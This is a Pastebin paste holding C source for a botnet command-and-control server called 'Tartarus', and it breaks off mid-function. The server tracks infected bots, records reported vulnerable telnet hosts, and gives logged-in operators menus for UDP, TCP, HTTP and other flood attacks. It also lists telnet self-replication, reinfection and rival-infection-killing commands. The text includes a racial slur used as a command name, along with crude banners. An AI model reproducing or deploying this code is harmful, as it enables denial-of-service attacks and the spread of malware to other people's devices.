Advertisement
Guest User

ez

a guest
Dec 17th, 2017
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.57 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MAXFDS 1000000
  16.  
  17. struct account {
  18. char id[20];
  19. char password[20];
  20. };
  21. static struct account accounts[50];
  22. struct clientdata_t {
  23. uint32_t ip;
  24. char build[7];
  25. char connected;
  26. } clients[MAXFDS];
  27. struct telnetdata_t {
  28. int connected;
  29. } managements[MAXFDS];
  30. static volatile FILE *telFD;
  31. static volatile FILE *fileFD;
  32. static volatile int epollFD = 0;
  33. static volatile int listenFD = 0;
  34. static volatile int OperatorsConnected = 0;
  35. static volatile int managesConnected = 0;
  36. static volatile int TELFound = 0;
  37. static volatile int scannerreport;
  38. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  39. {
  40. int total = 0, got = 1;
  41. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  42. return got;
  43. }
  44. void trim(char *str)
  45. {
  46. int i;
  47. int begin = 0;
  48. int end = strlen(str) - 1;
  49. while (isspace(str[begin])) begin++;
  50. while ((end >= begin) && isspace(str[end])) end--;
  51. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  52. str[i - begin] = '\0';
  53. }
  54. static int make_socket_non_blocking (int sfd)
  55. {
  56. int flags, s;
  57. flags = fcntl (sfd, F_GETFL, 0);
  58. if (flags == -1)
  59. {
  60. perror ("fcntl");
  61. return -1;
  62. }
  63. flags |= O_NONBLOCK;
  64. s = fcntl (sfd, F_SETFL, flags);
  65. if (s == -1)
  66. {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port)
  73. {
  74. struct addrinfo hints;
  75. struct addrinfo *result, *rp;
  76. int s, sfd;
  77. memset (&hints, 0, sizeof (struct addrinfo));
  78. hints.ai_family = AF_UNSPEC;
  79. hints.ai_socktype = SOCK_STREAM;
  80. hints.ai_flags = AI_PASSIVE;
  81. s = getaddrinfo (NULL, port, &hints, &result);
  82. if (s != 0)
  83. {
  84. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  85. return -1;
  86. }
  87. for (rp = result; rp != NULL; rp = rp->ai_next)
  88. {
  89. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  90. if (sfd == -1) continue;
  91. int yes = 1;
  92. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  93. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  94. if (s == 0)
  95. {
  96. break;
  97. }
  98. close (sfd);
  99. }
  100. if (rp == NULL)
  101. {
  102. fprintf (stderr, "An error has occured. Please reboot your server\n");
  103. return -1;
  104. }
  105. freeaddrinfo (result);
  106. return sfd;
  107. }
  108. void broadcast(char *msg, int us, char *sender)
  109. {
  110. int sendMGM = 1;
  111. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  112. char *wot = malloc(strlen(msg) + 10);
  113. memset(wot, 0, strlen(msg) + 10);
  114. strcpy(wot, msg);
  115. trim(wot);
  116. time_t rawtime;
  117. struct tm * timeinfo;
  118. time(&rawtime);
  119. timeinfo = localtime(&rawtime);
  120. char *timestamp = asctime(timeinfo);
  121. trim(timestamp);
  122. int i;
  123. for(i = 0; i < MAXFDS; i++)
  124. {
  125. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  126. if(sendMGM && managements[i].connected)
  127. {
  128. send(i, "\x1b[35m ", 5, MSG_NOSIGNAL);
  129. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  130. send(i, ": ", 2, MSG_NOSIGNAL);
  131. }
  132. //printf("sent to fd: %d\n", i);
  133. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  134. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;31m~> \x1b[36m", 13, MSG_NOSIGNAL);
  135. else send(i, "\n", 1, MSG_NOSIGNAL);
  136. }
  137. free(wot);
  138. }
  139. void *epollEventLoop(void *useless)
  140. {
  141. struct epoll_event event;
  142. struct epoll_event *events;
  143. int s;
  144. events = calloc (MAXFDS, sizeof event);
  145. while (1)
  146. {
  147. int n, i;
  148. n = epoll_wait (epollFD, events, MAXFDS, -1);
  149. for (i = 0; i < n; i++)
  150. {
  151. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  152. {
  153. clients[events[i].data.fd].connected = 0;
  154. close(events[i].data.fd);
  155. continue;
  156. }
  157. else if (listenFD == events[i].data.fd)
  158. {
  159. while (1)
  160. {
  161. struct sockaddr in_addr;
  162. socklen_t in_len;
  163. int infd, ipIndex;
  164. in_len = sizeof in_addr;
  165. infd = accept (listenFD, &in_addr, &in_len);
  166. if (infd == -1)
  167. {
  168. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  169. else
  170. {
  171. perror ("accept");
  172. break;
  173. }
  174. }
  175. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  176. int dup = 0;
  177. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  178. {
  179. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  180. if(clients[ipIndex].ip == clients[infd].ip)
  181. {
  182. dup = 1;
  183. break;
  184. }
  185. }
  186.  
  187. if(dup)
  188. {
  189. if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  190. close(infd);
  191. continue;
  192. }
  193.  
  194. s = make_socket_non_blocking (infd);
  195. if (s == -1) { close(infd); break; }
  196.  
  197. event.data.fd = infd;
  198. event.events = EPOLLIN | EPOLLET;
  199. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  200. if (s == -1)
  201. {
  202. perror ("epoll_ctl");
  203. close(infd);
  204. break;
  205. }
  206.  
  207. clients[infd].connected = 1;
  208. send(infd, "!* NIGGERKILL\n", 20, MSG_NOSIGNAL);
  209.  
  210. }
  211. continue;
  212. }
  213. else
  214. {
  215. int thefd = events[i].data.fd;
  216. struct clientdata_t *client = &(clients[thefd]);
  217. int done = 0;
  218. client->connected = 1;
  219. while (1)
  220. {
  221. ssize_t count;
  222. char buf[2048];
  223. memset(buf, 0, sizeof buf);
  224.  
  225. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  226. {
  227. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  228. trim(buf);
  229. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  230. {
  231. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  232. continue;
  233. }
  234. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  235. {
  236. char *line = strstr(buf, "REPORT ") + 7;
  237. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  238. fflush(telFD);
  239. TELFound++;
  240. continue;
  241. }
  242. if(strstr(buf, "PROBING") == buf)
  243. {
  244. char *line = strstr(buf, "PROBING");
  245. scannerreport = 1;
  246. continue;
  247. }
  248. if(strstr(buf, "REMOVING PROBE") == buf)
  249. {
  250. char *line = strstr(buf, "REMOVING PROBE");
  251. scannerreport = 0;
  252. continue;
  253. }
  254. if(strcmp(buf, "PONG") == 0)
  255. {
  256. continue;
  257. }
  258.  
  259. printf("buf: \"%s\"\n", buf);
  260. }
  261.  
  262. if (count == -1)
  263. {
  264. if (errno != EAGAIN)
  265. {
  266. done = 1;
  267. }
  268. break;
  269. }
  270. else if (count == 0)
  271. {
  272. done = 1;
  273. break;
  274. }
  275. }
  276.  
  277. if (done)
  278. {
  279. client->connected = 0;
  280. close(thefd);
  281. }}}}}
  282. unsigned int clientsConnected()
  283. {
  284. int i = 0, total = 0;
  285. for(i = 0; i < MAXFDS; i++)
  286. {
  287. if(!clients[i].connected) continue;
  288. total++;
  289. }
  290.  
  291. return total;
  292. }
  293. void *titleWriter(void *sock)
  294. {
  295. int thefd = (int)sock;
  296. char string[2048];
  297. while(1)
  298. {
  299. memset(string, 0, 2048);
  300. sprintf(string, "%c]0; [+] Titans: %d [+] OverLords: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
  301. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  302.  
  303. sleep(3);
  304. }
  305. }
  306. int Search_in_File(char *str)
  307. {
  308. FILE *fp;
  309. int line_num = 0;
  310. int find_result = 0, find_line=0;
  311. char temp[512];
  312.  
  313. if((fp = fopen("gr33k.txt", "r")) == NULL){
  314. return(-1);
  315. }
  316. while(fgets(temp, 512, fp) != NULL){
  317. if((strstr(temp, str)) != NULL){
  318. find_result++;
  319. find_line = line_num;
  320. }
  321. line_num++;
  322. }
  323. if(fp)
  324. fclose(fp);
  325.  
  326. if(find_result == 0)return 0;
  327.  
  328. return find_line;
  329. }
  330. void client_addr(struct sockaddr_in addr){
  331. printf("IP:%d.%d.%d.%d\n",
  332. addr.sin_addr.s_addr & 0xFF,
  333. (addr.sin_addr.s_addr & 0xFF00)>>8,
  334. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  335. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  336. FILE *logFile;
  337. logFile = fopen("Connections.log", "a");
  338. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  339. addr.sin_addr.s_addr & 0xFF,
  340. (addr.sin_addr.s_addr & 0xFF00)>>8,
  341. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  342. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  343. fclose(logFile);
  344. }
  345. void *telnetWorker(void *sock)
  346. {
  347. char usernamez[80];
  348. int thefd = (int)sock;
  349. int find_line;
  350. managesConnected++;
  351. pthread_t title;
  352. char counter[2048];
  353. memset(counter, 0, 2048);
  354. char buf[2048];
  355. char* nickstring;
  356. char* username;
  357. char* password;
  358. memset(buf, 0, sizeof buf);
  359. char botnet[2048];
  360. memset(botnet, 0, 2048);
  361.  
  362. FILE *fp;
  363. int i=0;
  364. int c;
  365. fp=fopen("gr33k.txt", "r");
  366. while(!feof(fp))
  367. {
  368. c=fgetc(fp);
  369. ++i;
  370. }
  371. int j=0;
  372. rewind(fp);
  373. while(j!=i-1)
  374. {
  375. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  376. ++j;
  377. }
  378.  
  379. if(send(thefd, "\x1b[35mName:\x1b[33m ", 16, MSG_NOSIGNAL) == -1) goto end;
  380. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  381. trim(buf);
  382. sprintf(usernamez, buf);
  383. nickstring = ("%s", buf);
  384. find_line = Search_in_File(nickstring);
  385. if(strcmp(nickstring, accounts[find_line].id) == 0){
  386. if(send(thefd, "\x1b[35mPasscode:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  387. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  388. trim(buf);
  389. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  390. memset(buf, 0, 2048);
  391. if(send(thefd, "\x1b[35m---> Credentials Are Correct <---\r\n--->Please Wait While We Prepare Stuff<---\r\n", 100, MSG_NOSIGNAL) == -1) goto end;
  392. sleep(3);
  393. goto dope;
  394. }
  395. failed:
  396. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  397. if(send(thefd, "\x1b[37m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  398. if(send(thefd, "\x1b[37m* Incorrect Credentials! *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  399. if(send(thefd, "\x1b[37m* This has been logged *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  400. if(send(thefd, "\x1b[37m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  401. sleep(5);
  402. goto end;
  403. dope:
  404. pthread_create(&title, NULL, &titleWriter, sock);
  405. char dope1 [80];
  406. char dope2 [80];
  407. char dope3 [80];
  408. char dope4 [80];
  409. char dope5 [80];
  410. char dope6 [80];
  411. char dope7 [80];
  412. sprintf(dope1, "[[+] DDOS | Succesfully hijacked connection\r\n");
  413. sprintf(dope2, "[+] DDOS | Masking connection from utmp+wtmp...\r\n");
  414. sprintf(dope3, "[+] DDOS | Hiding from netstat...\r\n");
  415. sprintf(dope4, "[+] DDOS | Removing all traces of LD_PRELOAD...\r\n");
  416. sprintf(dope5, "[+] DDOS | Wiping env libc.poison.so.\r\n");
  417. sprintf(dope6, "[+] DDOS | Setting up virtual terminal...\r\n");
  418. sprintf(dope7, "\x1b[1;35mLMFAO jokes mirai is gay :) Wait while the net loads fucker\r\n");
  419. char clearscreen [2048];
  420. memset(clearscreen, 0, 2048);
  421. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  422. if(send(thefd, dope1, strlen(dope1), MSG_NOSIGNAL) == -1) goto end;
  423. sleep(2);
  424. if(send(thefd, dope2, strlen(dope2), MSG_NOSIGNAL) == -1) goto end;
  425. sleep(2);
  426. if(send(thefd, dope3, strlen(dope3), MSG_NOSIGNAL) == -1) goto end;
  427. sleep(2);
  428. if(send(thefd, dope4, strlen(dope4), MSG_NOSIGNAL) == -1) goto end;
  429. sleep(2);
  430. if(send(thefd, dope5, strlen(dope5), MSG_NOSIGNAL) == -1) goto end;
  431. sleep(2);
  432. if(send(thefd, dope6, strlen(dope6), MSG_NOSIGNAL) == -1) goto end;
  433. sleep(2);
  434. if(send(thefd, dope7, strlen(dope7), MSG_NOSIGNAL) == -1) goto end;
  435. sleep(5);
  436. goto fak;
  437.  
  438. fak:
  439.  
  440. pthread_create(&title, NULL, &titleWriter, sock);
  441. char line1 [999];
  442. char line2 [999];
  443. char line3 [999];
  444. char line4 [999];
  445. char line5 [999];
  446. char line6 [999];
  447. char line7 [999];
  448. char line8 [999];
  449. char line9 [999];
  450. sprintf(line1, "\x1b[1;35m___________ ___. \r\n");
  451. sprintf(line2, "\x1b[0;32m\_ _____/______ ____\_ |__ __ __ ______ \r\n");
  452. sprintf(line3, "\x1b[1;33m | __)_\_ __ \_/ __ \| __ \| | \/ ___/ \r\n");
  453. sprintf(line4, "\x1b[1;33m | \| | \/\ ___/| \_\ \ | /\___ \ \r\n");
  454. sprintf(line5, "\x1b[0;32m/_______ /|__| \___ >___ /____//____ > \r\n");
  455. sprintf(line6, "\x1b[1;35m \/ \/ \/ \/ \r\n");
  456. sprintf(line7, "\x1b[0;31mHackers ~ Burning A Hole In Security Since 1968\r\n");
  457. sprintf(line8, "\r\n\x1b[0;31m Welcome \x1b[0;35m %s\x1b[0;31m To Tartarus\r\n", accounts[find_line].id, buf);
  458. sprintf(line9, "\x1b[0;31m \x1b[0;31m Type HELP to see commands\x1b[1;31m\r\n\r\n");
  459. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  460. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  461. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  462. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  463. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  464. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  465. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  466. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  467. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  468. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  469. while(1) {
  470. if(send(thefd, "\x1b[1;31m~> \x1b[1;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  471. break;
  472. }
  473. pthread_create(&title, NULL, &titleWriter, sock);
  474. managements[thefd].connected = 1;
  475.  
  476. while(fdgets(buf, sizeof buf, thefd) > 0)
  477. {
  478.  
  479. if(strstr(buf, "BOTS"))
  480. {
  481. sprintf(botnet, "[+] Titans: %d [+] Gods: %d [+] OverLords: %d [+]\r\n", clientsConnected(), TELFound, managesConnected);
  482. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  483. }
  484. if(strstr(buf, "STATUS"))
  485. {
  486. sprintf(botnet, "[+] Titans: %d [+] Gods: %d [+] OverLords: %d [+]\r\n", clientsConnected(), TELFound, managesConnected);
  487. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  488. }
  489.  
  490. if(strstr(buf, "bots"))
  491. {
  492. sprintf(botnet, "[+] Titans: %d [+] Gods: %d [+] OverLords: %d [+]\r\n", clientsConnected(), TELFound, managesConnected);
  493. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  494. }
  495. if(strstr(buf, "TIME"))
  496. {
  497. sprintf(botnet, "you go past 3600 seconds and your ass is fried ~OverLords\r\n");
  498. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  499. }
  500. if(strstr(buf, "RULES"))
  501. {
  502. sprintf(botnet, "Please Read The Following Rules if not will result in ban\r\n1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n2.) DO NOT SPAM THE NET\r\n3.) Dont hit any goverment websites\r\n");
  503. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  504. }
  505. if(strstr(buf, "PORTS"))
  506. {
  507. sprintf(botnet, "Console~3074 NFO~1094/443 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
  508. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  509. }
  510. if(strstr(buf, "!* NIGGERKILL"))
  511. {
  512. sprintf(botnet, "Those Boatz Got Killd\r\n");
  513. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  514. }
  515. if(strstr(buf, "!* TELSCAN OFF"))
  516. {
  517. sprintf(botnet, "TELNET SELF REPLIFICATION OFF\r\n");
  518. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  519. }
  520. if(strstr(buf, "!* TELSCAN ON"))
  521. {
  522. sprintf(botnet, "TELNET SELF REPLIFICATION ON\r\n");
  523. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  524. }
  525. if(strstr(buf, "!* TCP"))
  526. {
  527. sprintf(botnet, "WOOPS THE TITANS JUST DROPPED THAT SHIT [TCP]\r\n");
  528. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  529. }
  530. if(strstr(buf, "!* UDP"))
  531. {
  532. sprintf(botnet, "WOOPS THE GODS JUST DROPPED THAT SHIT [UDP]\r\n");
  533. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  534. }
  535. if(strstr(buf, "!* STD"))
  536. {
  537. sprintf(botnet, "WOOPS THE GIANTS JUST DROPPED THAT SHIT [STD]\r\n");
  538. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  539. }
  540. if(strstr(buf, "!* CNC"))
  541. {
  542. sprintf(botnet, "WOOPS THE TITANS JUST DROPPED THAT SHIT [CNC]\r\n");
  543. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  544. }
  545. if(strstr(buf, "INFO"))
  546. {
  547. sprintf(botnet, "This server side is based on greek mythology.\r\n");
  548. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  549. }
  550. if(strstr(buf, "!* HTTP"))
  551. {
  552. sprintf(botnet, "WOOPS THE GIANTS JUST DROPPED THAT SHIT [HTTP]\r\n");
  553. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  554. }
  555. if(strstr(buf, "ports"))
  556. {
  557. sprintf(botnet, "Console~3074 NFO~1094 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
  558. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  559. }
  560. if(strstr(buf, "HELP")) {
  561. pthread_create(&title, NULL, &titleWriter, sock);
  562. char helpline1 [80];
  563. char helpline2 [80];
  564. char helpline3 [80];
  565. char helpline4 [80];
  566.  
  567. sprintf(helpline1, "\x1b[0;31mType An Option:\r\n");
  568. sprintf(helpline2, "\x1b[1;37m[\x1b[35mDDOS\x1b[1;37m] ~ Shows all commands for DDoS Attacks\r\n");
  569. sprintf(helpline3, "\x1b[1;37m[\x1b[34mEXTRA\x1b[1;37m] ~ Shows a list of all extra commands\r\n");
  570. sprintf(helpline4, "\x1b[1;37m[\x1b[0;33mSELF-REP\x1b[1;37m] ~ SelfRep Commands\r\n");;
  571.  
  572. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  573. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  574. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  575. if(send(thefd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  576. pthread_create(&title, NULL, &titleWriter, sock);
  577. if(send(thefd, "\x1b[1;31m~> \x1b[0;36m", 13, MSG_NOSIGNAL) == -1) goto end;
  578. continue;
  579. }
  580. if(strstr(buf, "DDOS")) {
  581. pthread_create(&title, NULL, &titleWriter, sock);
  582. char ddosline1 [80];
  583. char ddosline2 [80];
  584. char ddosline3 [80];
  585. char ddosline4 [80];
  586. char ddosline5 [80];
  587. char ddosline6 [80];
  588. char ddosline7 [80];
  589. char ddosline8 [80];
  590.  
  591. sprintf(ddosline1, "\x1b[31m !* UDP [IP] [PORT] [TIME] 32 1024 1 --------| UDP FLOOD\r\n");
  592. sprintf(ddosline2, "\x1b[35m !* TCP [IP] [PORT] [TIME] 32 all 1024 1 ----| TCP FLOOD\r\n");
  593. sprintf(ddosline3, "\x1b[31m !* HTTP [URL] G|H|P [PORT] / [TIME] 1024 ---| L7 FLOOD\r\n");
  594. sprintf(ddosline4, "\x1b[35m !* SPOOF [IP] [PORT] -----------------------| Spoof Tester\r\n");
  595. sprintf(ddosline5, "\x1b[31m !* VIEWPAGE [URL] --------------------------| VIEWS A PAGE\r\n");
  596. sprintf(ddosline6, "\x1b[35m !* STD [IP] [PORT] [TIME] ------------------| STD FLOOD\r\n");
  597. sprintf(ddosline7, "\x1b[31m !* CNC [IP] [PORT] [TIME] ------------------| CNC FLOOD\r\n");
  598. sprintf(ddosline8, "\x1b[35m !* STOPATTK --------------------------------| STOPS ALL ATTACKS\r\n");
  599.  
  600. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  601. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  602. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  603. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  604. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  605. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  606. if(send(thefd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
  607. if(send(thefd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
  608. pthread_create(&title, NULL, &titleWriter, sock);
  609. if(send(thefd, "\x1b[1;31m~> \x1b[0;36m", 13, MSG_NOSIGNAL) == -1) goto end;
  610. continue;
  611. }
  612. if(strstr(buf, "SELF-REP")) {
  613. pthread_create(&title, NULL, &titleWriter, sock);
  614. char repline1 [80];
  615. char repline2 [80];
  616. char repline3 [80];
  617. char repline4 [80];
  618.  
  619. sprintf(repline1, "\x1b[31m !* TELSCAN ON | OFF------------| TURNS ON/OFF TELNET SELFREP\r\n");
  620. sprintf(repline2, "\x1b[35m !* UPDATE----------------------| REINFECTS BOT\r\n");
  621. sprintf(repline3, "\x1b[31m !* PYTHON 1|2|3|DOWNLOAD|OFF---| TURNS ON/OFF PYTHON SCANNER\r\n");
  622. sprintf(repline4, "\x1b[35m !* NIGGERKILL------------------| KILLS OTHERS INFECTIONS\r\n");
  623. if(send(thefd, repline1, strlen(repline1), MSG_NOSIGNAL) == -1) goto end;
  624. if(send(thefd, repline2, strlen(repline2), MSG_NOSIGNAL) == -1) goto end;
  625. if(send(thefd, repline3, strlen(repline3), MSG_NOSIGNAL) == -1) goto end;
  626. if(send(thefd, repline4, strlen(repline4), MSG_NOSIGNAL) == -1) goto end;
  627. pthread_create(&title, NULL, &titleWriter, sock);
  628. if(send(thefd, "\x1b[1;31m~> \x1b[0;36m", 13, MSG_NOSIGNAL) == -1) goto end;
  629. continue;
  630. }
  631. if(strstr(buf, "EXTRA")) {
  632. pthread_create(&title, NULL, &titleWriter, sock);
  633. char extraline1 [80];
  634. char extraline2 [80];
  635. char extraline3 [80];
  636. char extraline4 [80];
  637. char extraline5 [80];
  638. char extraline6 [80];
  639.  
  640. sprintf(extraline1, "\x1b[35m PORTS---| PORTS TO HIT WITH\r\n");
  641. sprintf(extraline2, "\x1b[31m BOTS----| BOT COUNT\r\n");
  642. sprintf(extraline3, "\x1b[35m CLEAR---| CLEARS SCREEN\r\n");
  643. sprintf(extraline4, "\x1b[31m RULES---| SHOWS RULES\r\n");
  644. sprintf(extraline5, "\x1b[35m TIME----| SHOWS MAX BOOT TIME\r\n");
  645. sprintf(extraline6, "\x1b[31m INFO----| SHOWS INFO ABOUT THIS SERVERSIDE\r\n");
  646.  
  647. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  648. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  649. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  650. if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  651. if(send(thefd, extraline5, strlen(extraline5), MSG_NOSIGNAL) == -1) goto end;
  652. if(send(thefd, extraline6, strlen(extraline6), MSG_NOSIGNAL) == -1) goto end;
  653. pthread_create(&title, NULL, &titleWriter, sock);
  654. if(send(thefd, "\x1b[1;31m~> \x1b[0;36m", 13, MSG_NOSIGNAL) == -1) goto end;
  655. continue;
  656. }
  657. if(strstr(buf, "CLEAR")){
  658.  
  659. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  660. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  661. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  662. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  663. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  664. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  665. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  666. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  667. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  668. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  669. pthread_create(&title, NULL, &titleWriter, sock);
  670. managements[thefd].connected = 1;
  671. }
  672. if(strstr(buf, "clear")){
  673.  
  674. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  675. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  676. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  677. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  678. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  679. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  680. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  681. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  682. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  683. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  684. pthread_create(&title, NULL, &titleWriter, sock);
  685. managements[thefd].connected = 1;
  686. }
  687. if(strstr(buf, "LOGOUT"))
  688. {
  689. sprintf(botnet, "Peace Mr %s\r\n", accounts[find_line].id, buf);
  690. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  691. goto end;
  692. } // if someone tries to send a attack above 200O SEC it will kick them off :)
  693. if(strstr(buf, "3601"))
  694. {
  695. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  696. FILE *logFile;
  697. logFile = fopen("TIME.log", "a");
  698. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  699. fclose(logFile);
  700. goto end;
  701. } // max time
  702. if(strstr(buf, "9999"))
  703. {
  704. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  705. FILE *logFile;
  706. logFile = fopen("TIME.log", "a");
